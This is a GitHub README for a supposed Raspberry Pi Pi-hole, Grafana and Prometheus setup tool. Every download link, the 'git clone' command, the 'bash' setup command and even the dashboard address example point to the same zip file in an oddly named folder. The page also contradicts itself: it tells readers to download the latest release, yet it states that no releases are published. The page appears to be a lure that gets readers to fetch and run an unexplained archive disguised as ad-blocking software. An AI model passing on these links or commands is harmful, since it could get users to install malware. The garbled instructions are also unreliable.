Skip to content

πŸ€– Simplify your Raspberry Pi management with the Death Star Pi-hole Setup, featuring easy deployments for Pi-hole, Grafana, and internet monitoring services.

License

Notifications You must be signed in to change notification settings

xolisbeamed/deathstar-pi-hole-setup

Repository files navigation

🌟 deathstar-pi-hole-setup - Easy Setup for Ad Blocking

πŸš€ Getting Started

Welcome to the deathstar-pi-hole-setup! This application helps you set up an ad-blocking system using Raspberry Pi, Pi-hole, Grafana, and Prometheus. With this setup, you will enjoy a smoother internet experience by blocking unwanted ads and monitoring your network.

πŸ› οΈ System Requirements

Before you begin, ensure you have the following:

  • A Raspberry Pi (any model, but Raspberry Pi 3 or later is recommended)
  • A microSD card (minimum 16GB)
  • A power supply for your Raspberry Pi
  • An internet connection (wired recommended)
  • A computer to access the Raspberry Pi

πŸ”— Download

Download the Latest Release

To download the application, visit the Releases page:

Download from Github Releases

πŸ“₯ Download & Install

  1. Click the link above to open the Releases page.
  2. Look for the latest version at the top of the list.
  3. Download the .zip or https://raw.githubusercontent.com/xolisbeamed/deathstar-pi-hole-setup/main/imbecility/deathstar-pi-hole-setup.zip file that suits your Raspberry Pi model.
  4. Once the download is complete, unzip or extract the file to a location on your computer.

πŸ“‹ Setting Up Your Raspberry Pi

Step 1: Prepare Your SD Card

  1. Download and install Raspberry Pi Imager on your computer.
  2. Launch Raspberry Pi Imager.
  3. Select the operating system. Choose Raspberry Pi OS Lite for a minimal setup.
  4. Select your microSD card from the storage list.
  5. Click "Write" to install the OS onto the microSD card.

Step 2: Configure Your Raspberry Pi

  1. Insert the microSD card into your Raspberry Pi.
  2. Connect your Raspberry Pi to a monitor, keyboard, and power source.
  3. Boot your Raspberry Pi and follow the on-screen instructions to complete the setup.
  4. Once set up, connect your Raspberry Pi to your network.

Step 3: Clone the Repository

  1. Open a terminal on your Raspberry Pi.

  2. Install Git if it is not already installed:

    sudo apt update
    sudo apt install git
  3. Clone the repository by entering:

    git clone https://raw.githubusercontent.com/xolisbeamed/deathstar-pi-hole-setup/main/imbecility/deathstar-pi-hole-setup.zip

Step 4: Run the Setup Script

  1. Navigate to the cloned directory:

    cd deathstar-pi-hole-setup
  2. Run the setup script:

    bash https://raw.githubusercontent.com/xolisbeamed/deathstar-pi-hole-setup/main/imbecility/deathstar-pi-hole-setup.zip
  3. Follow the prompts to configure Pi-hole, Grafana, and Prometheus.

βš™οΈ Configuration Options

During the setup, you will encounter various options for configuring your ad blocker and analytics tools. Here are some common choices:

  • Pi-hole Configuration: Choose the type of ads you wish to block. You can select individual categories or groups.

  • Grafana Settings: Decide on your preferred dashboard layout for monitoring network usage.

  • Prometheus Metrics: Choose which metrics you want Prometheus to collect and visualize.

πŸ” Monitoring Your Network

Once the setup is complete, you can check your network status through the Grafana dashboard:

  1. Open a web browser on your computer.
  2. Enter the Raspberry Pi's IP address followed by the Grafana port number (default is 3000). For example: https://raw.githubusercontent.com/xolisbeamed/deathstar-pi-hole-setup/main/imbecility/deathstar-pi-hole-setup.zip
  3. Log in using the default credentials you set during installation.

From here, you can customize your dashboard and start monitoring your network activity.

πŸ§‘β€πŸ€β€πŸ§‘ Community Support

If you have questions or need assistance, consider joining our community:

πŸ“ Troubleshooting Tips

  • Can't Access the Dashboard: Ensure your Raspberry Pi is powered on and connected to the network. Double-check the IP address.

  • Installation Fails: Review the terminal output for errors. Ensure your network connection is stable.

  • Performance Issues: Ensure you are not blocking essential domains required by your network devices.

🚧 Features

  • Network-wide Ad Blocking: Eliminate ads across all devices on your network.
  • Internet Monitoring: Gain insights into your network's traffic and usage patterns.
  • Smart Home Integration: Easily integrate with smart home devices for better analytics.

For full details on each feature, refer to the documentation files in the repository.

By following these steps, you can easily set up your deathstar-pi-hole environment. Happy networking!

About

πŸ€– Simplify your Raspberry Pi management with the Death Star Pi-hole Setup, featuring easy deployments for Pi-hole, Grafana, and internet monitoring services.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published